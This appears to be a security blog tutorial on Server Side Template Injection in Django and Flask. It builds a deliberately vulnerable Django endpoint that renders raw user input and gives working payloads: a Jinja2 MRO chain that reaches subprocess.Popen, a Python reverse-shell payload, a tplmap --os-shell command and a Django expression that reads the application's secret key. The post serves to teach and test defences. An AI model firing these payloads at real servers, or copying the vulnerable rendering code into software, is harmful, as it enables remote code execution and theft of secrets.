In this post I’ll cover the basics of the Server Side Template Injection vulnerability class and how it can be exploited in popular Python application frameworks like Django and Flask. First I’ll go over a quick summary of this vulnerability for those who aren’t familiar and then we can jump into some examples of exploitation.

What is a template engine?

Templating engines are a popular way to serve dynamic content through static web pages and can provide the same functionality as modern programming languages: making them both feature-rich and very dangerous if implemented incorrectly.

Template Engine Diagram

Each template engine can have varying syntax, for the purpose of this article we’ll focus on the Jinja2 template engine.

Before getting into some examples let’s cover some of the basic syntax used in Jinja2:

{{ }}: Represents a variable

  • {{ user.name }}

{% %}: Represents a conditional statement

  • {% for user in users %}
    {{ user.name }}
    {% endfor %}

These template tags will commonly be placed in HTML files and the template engine will render their contents server-side before serving the HTML to the client.

As an anecdote to prove how common template engines have become, I ran into errors trying to publish the above code examples on the blogging engine I’m using because it’s running the Nunjucks template engine and attempted to process the “{ }“ characters.

What is SSTI?

As the name would suggest, an SSTI is an injection vulnerability, similar to other injection vulnerabilities it occurs when unsanitized user input is directly processed by the application or more specifically the template engine. While some template engines render on the client-side we’ll be focused on server-side templates.

As template engines are a relatively modern feature of web applications, this class of vulnerabilities only surfaced in 2015. Much of the current knowledge around these vulnerabilities is the outcome of research published by James Kettle from Portswigger.

What is the impact of an SSTI?

Depending on the template engine being used the impact can vary, some of the issues range from:

  • Data exposure (application secrets)
  • Cross Site Scripting
  • Remote Code execution

Given that these templating engines we’ll be looking at are based on the Python programming language, an application that allows user input to be processed by one can lead to arbitrary code execution.

Setting up a testing environment

For demonstration purposes I’ve created a web application using Django, a python framework for building web applications. The vulnerable endpoint /ssti is running a template engine which parses user input from the GET parameter injection

def ssti(request):
engine = engines["jinja2"]
template = engine.from_string("<html><body style='background-color:powderblue;'><form method=get><input name=injection><br><input type=submit></form><br>"+request.GET.get("injection")+"</body></html>")
return HttpResponse(template.render({}, request))

Abusing Jinja2 to call built in Python methods

Jinja2 is a very common templating engine used primarily in the web application frameworks Django and Flask.

Jinja2 requires registering Python functions within your applications template environment in order to call them, this means we can’t simply refer to the python os module and run an os.system() call. However, there is a workaround to this: Jinja2 has the ability to access builtin variables/methods within Python.

Without getting into the detailed explanation of how this works I’ll briefly outline the process of using MRO in python to call any available method:

MRO stands for method resolution order and it’s essentially the process Python uses to resolve inheritance of a method or attribute.

When calling any Python object in a Jinja2 template we can reference an arbitrary object ‘foo’ and use the following format to view all available subclasses:

Tux, the Linux mascot
There’s 800+ subclasses available. Our goal here is to achieve RCE so let’s see which available classes can be used to spawn a reverse shell.

Further down the list we see the subprocess.Popen module available:

Tux, the Linux mascot
The subprocess.Popen interface essentially allows us to spawn OS commands as subprocesses of Python.

Now we need to find out which index of the dict object this class refers to.

An easy way to find this index is to paste the output of the subclasses in Vscode and replace all commas with a newline, this gives us an organized list:

Tux, the Linux mascot
We can see subprocess.Popen at line 462

Because arrays start at index 0, we can reference it as:


We can test this by trying to write a file to the system using the following parameters:

{}.__class__.__mro__[1].__subclasses__()[461](['touch', '/tmp/rce'])
Tux, the Linux mascot
The output confirms a subprocess.Popen instance was spawned.

Tux, the Linux mascot
When we look in the /tmp directory we see the file has been created, confirming Remote Code Execution

Spawning a reverse shell

Now that we’ve confirmed we can execute arbitrary Python code, we can use the following payload to pop a shell:

{{{}.__class__.__mro__[1].__subclasses__()[195](['python3','-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("localhost",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'])}}
Reverse Shell
Reverse shell being caught by our netcat listener, we now have access to the server as the web application user.

Automating exploitation

While it’s definitely beneficial to understand how to manually test for and exploit SSTI, it can be an ardous task. Luckily there’s an open source tool called tplmap which performs automatic testing and exploitation of SSTI vulnerabilities in 15+ template engines.

One of the benefits to tplmap is the ability to test a potential injection without specifying the templating engine being used. This is especially useful in blackbox testing when you might suspect an SSTI but aren’t sure of which templating engine might be used by the application.

We can test our vulnerable endpoint with the following parameters:

./tplmap.py --os-shell --url http://localhost:9000/ssti?injection=foo

tplmap shell
Tplmap spawning an interactive OS shell

Abusing Django template engine to retrieve secrets

Although Jinja is a 3rd party template engine that is often used in Django applications, Django also provides a similar tool itself. The Jinja2 template engine was based on Django’s template engine so they naturally share much of the same syntax.

Django’s template engine does not provide the same ability to call Python modules, but there are other ways to exploit it.

I’ll modify the template engine from our earlier code:

def ssti(request):
engine = engines["django"]

One thing to remember about template engines in general is that they are primarily used to render HTML content, so naturally unsanitized user input can lead to HTML injection AKA Cross Site Scripting:

We can test this by adding any Javascript payload within the double curly braces:


We can also use a Django based SSTI to retrieve configuration details of the application, such as the secret key:

{{ messages.storages.0.signer.key }}